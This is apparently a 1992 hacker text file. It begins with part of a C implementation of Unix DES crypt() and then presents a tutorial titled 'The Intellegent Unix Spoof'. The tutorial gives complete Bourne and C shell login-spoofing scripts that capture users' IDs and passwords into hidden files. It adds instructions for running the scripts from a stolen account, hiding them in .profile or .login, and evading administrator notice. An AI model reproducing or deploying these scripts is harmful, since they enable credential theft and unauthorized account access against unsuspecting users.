                                D[j] = D[j+1];
                        D[27] = t;
                }


                for(j=0; j < 24; j++) {
                        KS[i][j] = C[PC2_C[j]-1];
                        KS[i][j+24] = D[PC2_D[j]-28-1];
                }
        }

        for(i=0; i < 48; i++)
                E[i] = e2[i];
}

static char S[8][64] = {
        14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7,
         0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8,
         4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0,
        15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,

        15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10,
         3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5,
         0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15,
        13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,

        10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8,
        13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1,
        13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7,
         1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,

         7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15,
        13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9,
        10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4,
         3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,

         2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9,
        14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6,
         4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14,
        11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,

        12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11,
        10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8,
         9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6,
         4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,

         4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1,
        13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6,
         1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2,
         6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,

        13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7,
         1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2,
         7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8,
         2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11,
};

static char P[] = {
        16, 7,20,21,
        29,12,28,17,
         1,15,23,26,
         5,18,31,10,
         2, 8,24,14,
        32,27, 3, 9,
        19,13,30, 6,
        22,11, 4,25,
};


static char L[32], R[32];
static char tempL[32];
static char f[32];
static char preS[48];

void
encrypt(block, edflag)
char    *block;
int     edflag;
{
        int     i, ii;
        register int t, j, k;

        for(j=0; j < 64; j++)
                L[j] = block[IP[j]-1];

        for(ii=0; ii < 16; ii++) {

                if(edflag)
                        i = 15-ii;
                else
                        i = ii;

                for(j=0; j < 32; j++)
                        tempL[j] = R[j];

                for(j=0; j < 48; j++)
                        preS[j] = R[E[j]-1] ^ KS[i][j];

                for(j=0; j < 8; j++) {
                        t = 6*j;
                        k = S[j][(preS[t+0]<<5)+
                                (preS[t+1]<<3)+
                                (preS[t+2]<<2)+
                                (preS[t+3]<<1)+
                                (preS[t+4]<<0)+
                                (preS[t+5]<<4)];
                        t = 4*j;
                        f[t+0] = (k>>3)&01;
                        f[t+1] = (k>>2)&01;
                        f[t+2] = (k>>1)&01;
                        f[t+3] = (k>>0)&01;
                }

                for(j=0; j < 32; j++)
                        R[j] = L[j] ^ f[P[j]-1];

                for(j=0; j < 32; j++)
                        L[j] = tempL[j];
        }

        for(j=0; j < 32; j++) {
                t = L[j];
                L[j] = R[j];
                R[j] = t;
        }

        for(j=0; j < 64; j++)
                block[j] = L[FP[j]-1];
}

char *
crypt(pw, salt)
char    *pw, *salt;
{
        register int i, j, c;
        int     temp;
        static char block[66], iobuf[16];

        for(i=0; i < 66; i++)
                block[i] = 0;
        for(i=0; (c= *pw) && i < 64; pw++) {
                for(j=0; j < 7; j++, i++)
                        block[i] = (c>>(6-j)) & 01;
                i++;
        }

        setkey(block);

        for(i=0; i < 66; i++)
                block[i] = 0;

        for(i=0; i < 2; i++) {
                c = *salt++;
                iobuf[i] = c;
                if(c > 'Z')
                        c -= 6;
                if(c > '9')
                        c -= 7;
                c -= '.';
                for(j=0; j < 6; j++) {
                        if((c>>j) & 01) {
                                temp = E[6*i+j];
                                E[6*i+j] = E[6*i+j+24];
                                E[6*i+j+24] = temp;
                        }
                }
        }

        for(i=0; i < 25; i++)
                encrypt(block, 0);

        for(i=0; i < 11; i++) {
                c = 0;
                for(j=0; j < 6; j++) {
                        c <<= 1;
                        c |= block[6*i+j];
                }
                c += '.';
                if(c > '9')
                        c += 7;
                if(c > 'Z')
                        c += 6;
                iobuf[i+2] = c;
        }
        iobuf[i+2] = 0;
        if(iobuf[1] == 0)
                iobuf[1] = iobuf[0];
        return(iobuf);
}

endif

/* end of program */
_

*-----------------------------------------------------------------------------*

              **********************************************
              *                                            * 
              *       The Intellegent Unix Spoof           * 
              *                                            *
              *             Written By ZARF                *
              *                                            *
              *                 25/4/92                    *
              *                                            *
              **********************************************


Disclaimer
^^^^^^^^^^

The following text is for information & learning purposes only, I take
no responsibility whatsoever for any security breach or damage to any 
system resulting from the use of these programs. Use at your own risk!
 

Spoofs
^^^^^^

A spoof is a program which simulates a common unix program or command
but actually does something that its victim is unaware of. Spoofs are
different from trojan horses because a spoof is executed by an intruder
and left for some unsuspecting victim to use, whereas a trojan horse is
executed directly by the victim. The spoof which I include here is one of
the more popular ones : - The login simulator. However, I have seen this
one many times and have decided to add some features to greatly improve
it, you'll see why I've called it 'The intellegent Spoof!'.
A lot of spoofs are written in the 'C' programming language. Though
such programs have faster execution times, I have decided to use shell
because of it's simplicity, whilst retaining structured programming methods.


How spoofs work -
^^^^^^^^^^^^^^^

This spoof works by simulating the login sequence on standard unix systems.
It asks for a user i.d. and a password, these are then saved to a file 
for the hacker to read later, and the message 'login incorrect' is given
making the victim think that he/she has spelled his/her password incorrectly.
The real login program is now executed and the victim logs on normally, thus
totally unaware that his/her i.d. and password has been snatched!


Features
^^^^^^^^

I have written the Spoof in both Bourne shell & C shell, both versions
are listed.

This spoofs primary aim is to capture user i.d`s and passwords, but it 
also :-

a) Traps all Control escapes to stop users from breaking out of the
   program and accessing the account its being run from.

b) Executes a command every 60 seconds to keep terminals idle time to 0.
   This prevents administrators from becoming suspicious!

c) Quits and logs the hackers account off after 15 minutes if the terminal
   has not been used. This prevents the account being logged on for hours
   or days on end which would attract unwanted attention.

d) Checks that a user hasn't just entered any old rubbish as a user
   name by verifying all input against the  password file entry. The 
   spoof re-runs if an invalid user i.d. is entered.

e) Kills all processes created by the spoof, logs the hackers account off,
   which will then execute the real login program.


********************************************************************************

Bourne shell script listing 
^^^^^^^^^^^^^^^^^^^^^^^^^^^

clear
     id=""
      fid=""
      pw=""
     count=0

# This disables all control escapes e.g. CTRL-Z, CTRL-D etc

trap '' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 18 19


# Login Spoof for all UNIX systems, written in Bourne shell
# This should work with System V, BSD, SunOS, ULTRIX & XENIX provided 
# they have the bourne shell.
# Written by ZARF (c) 1992 
 

# This shell function kills all remaining processes and the hackers
# account is logged off, thus running the default login program.

prockiller()

{
progname=".temp"
  userid=`whoami`
    pid=`ps aux | grep -v $progname | grep $userid | cut -c 10-15`

  for process in $pid
   do
     kill -9 $process
   done
}


# This routine creates a file, then removes it every 60 seconds,
# this keeps terminals idle time down to avoid arousing suspicion.
# It also keeps a count and exits if the terminal has not been used after
# 15 minutes.  

(while true

do
   echo > .tmp
     rm .tmp
      sleep 60
   count=`expr $count + 1`
   
   if [ "$count" = 15 ] 
     then
         prockiller
   fi

 done)&


# This routine reads in the user i.d. and verifies that it exists
# in the password file (to prevent people typing in rubbish),
# then reads in the password, outputs a `login incorrect` message
# (to make the unsuspecting user think he/she has made a spelling
# mistake with the i.d. or password), then writes the i.d. & password
# to a file which can later be viewed by the hacker.


while [ "$id" = "" ]      

do
  
  echo "login: \c"
    read id
      fid=`ypcat < passwd | cut -d: -f1 | fgrep -x $id`
   
    echo "Password:\c"
      stty -echo
        read pw
          stty echo

  if [ "$id" != "$fid" ]
    then
      echo "Login incorrect"
       id=""
  fi

done

echo "Login incorrect"
  echo "User: $id  has  Password: $pw" >> .txt
prockiller

********************************************************************************


C-shell script listing (in 2 parts, main part '.temp', other part '.kill') 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

                                  '.temp'

clear
    set id=""
      set fid=""
      set pw=""
    set count=0


# A file called .kill must be present in the account.

    alias prockiller "source .kill"


# This disables all control escapes e.g. CTRL-Z, CTRL-D etc

onintr -

# Login Spoof for all UNIX systems, written in C shell
# This should work with System V, BSD, SunOS, ULTRIX & XENIX provided 
# they have the C shell.
# Written by ZARF (c) 1992 
 

# This routine creates a file, then removes it every 60 seconds,
# this keeps terminals idle time down to avoid arousing suspicion.
# It also keeps a count and exits if the terminal has not been used after
# 15 minutes.  

(while true

   echo > .tmp
     rm .tmp
      sleep 60
   @ count += 1
   
   if ( "$count" = 15 ) then 
         
          prockiller
   endif

 end)&


# This routine reads in the user i.d. and verifies that it exists
# in the password file (to prevent people typing in rubbish),
# then reads in the password, outputs a `login incorrect` message
# (to make the unsuspecting user think he/she has made a spelling
# mistake with the i.d. or password), then writes the i.d. & password
# to a file which can later be viewed by the hacker.


while ( "$id" = "" )      

  
  echo "login: \c"
    read id
      set fid=`ypcat < passwd | cut -d: -f1 | fgrep -x $id`
   
    echo "Password:\c"
      stty -echo
        read pw
          stty echo

  if ( "$id" != "$fid" ) then
  
            echo "Login incorrect"
            set id=""
  
  endif

end

echo "Login incorrect"
  echo "User: $id  has  Password: $pw" >> .txt
prockiller

*----------------------------------------------------------------------*
                                 '.kill'  

set progname=".temp"
     set kn=".kill"
          set userid=`whoami`

set pid=`ps aux | grep -v $progname | grep -v $kn | grep $userid | cut -c 10-15`

  foreach process in $pid
   
     kill -9 $process
  end


# Save this piece of code to a separate file called .kill

# This kills all remaining processes and the hackers
# account is logged off, thus running the default login program.
*----------------------------------------------------------------------*





Installing the Spoof
^^^^^^^^^^^^^^^^^^^^

I suggest that this script is executed from a stolen account, if you
don't have one, run it from your account once only to grab an i.d.
and password, then remove it from your account and set it up in 
the newly acquired account.
This will reduce the risk greatly cos if the stolen account does get
busted, it can't be traced back to you!

You can execute this program directly from the shell, by logging on
and typing .temp or for convenience you can run it from the accounts
.login or .profile if it has one.

Having got your account, edit the .profile (if running under bourne
shell),or .login file (if running under C-shell). If this contains a
predefined menu, e.g. 

x - Run X-windows

s - Exit to shell

This will probably use the case statement in the .profile or .login,
just add an option to run the spoof. e.g. for a menu with the above 
options the case statement could look like this:-

Bourne shell                                 C-shell
^^^^^^^^^^^^                                 ^^^^^^^

.profile                                     .login
^^^^^^^^                                     ^^^^^^

read choice                                 read choice
  case $choice in                             switch ( $choice )
   x)                                       case x:
     xwin                                     xwin
     ;;                                       breaksw;
   
   s)                                       case s:
     exit                                     exit
     ;;                                       breaksw;
   
   #)                                       case #:
     .temp   # spoofs name                    .temp  # spoofs name
     logout                                   logout
     ;;                                       breaksw;
  esac                                      endsw


This will add an option whereby if the hacker enters '#', the spoof
will be executed, if you place this in the .profile or .login of a 
users account who has little or no knowledge of unix, he/she will never
know its there as it won't be displayed as a menu option and they will
probably never look at or alter their .login or .profile file.
make sure you place the 'logout' command after the spoofs filename.

You should type in the spoof shell script and call it .temp
make sure to make it executable (chmod 100 .temp).
(If you use the C-shell version, you will have 2 files, '.temp' &
'.kill')

You should now create an empty file called .txt in the account where the 
spoof is, this can be done from the shell by entering the following 
commands :-

echo>.txt

This is where the stolen account names and passwords will be stored.

Now, when you log onto the account, enter # and the spoof will be
executed. You can now walk away from the terminal and a good idea, if
you have the time, would be to sit at another terminal in the lab and
wait till you see an unsuspecting user login at the spoofed terminal.
The victims i.d. and password will now be saved into the .txt file,
your account will be logged off, and the real login program will run.
The user will now login unaware of whats just happened!!

If you do run this program from the .login or .profile, you should
change this line in the process killing procedure or the spoof from -

    pid=`ps aux | grep -v $progname | grep $userid | cut -c 10-15`

to -

    pid=`ps aux | grep -v $progname | grep -v startupfile | grep $userid |
         cut -c 10-15`


or in the case of the C-shell version, to -

    set pid=`ps aux | grep -v $progname | grep -v $kn | grep -v $startupfile |
             grep $userid | cut -c 10-15`

   
where `startupfile` is either the filename .login or .profile depending on 
the shell you are using.


Tips
^^^^

Do not run the spoof from the same account on more than two terminals,
this will arouse the administrators suspicions if he/she sees account
'jim' logged onto 10 terminals at the same time!!!

On systems that do not use the 'Yellow Pages' scheme, you will have to 
change this line :-

fid=`ypcat < passwd | cut -d: -f1 | fgrep -x $id`

to -

fid=`cat < /etc/passwd | cut -d: -f1 | fgrep -x $id`


or if the spoof is running too slowly, remove this line altogether.


You may need to change the line -

echo "login: \c"

to what the system you are using prompts you with, e.g.

echo "Mentex systems please login: \c"


The reason why I have called the spoof .temp and its data file .txt
is becuase when the legitimate owner of the account you are using
uses ls without any options, these files are hidden!

I have used ypcat < passwd or cat < /etc/passwd so that if the sysadm does
a 'who' or 'w' it will show up 'cat' as the process running and not
'ypcat passwd' or 'cat /etc/passwd' which would look suspicious!


Zarf 1992


And the Lord said, "All the sysops will be thy enemy, If they catch you,
                    they will kill you. But first they must catch you." 


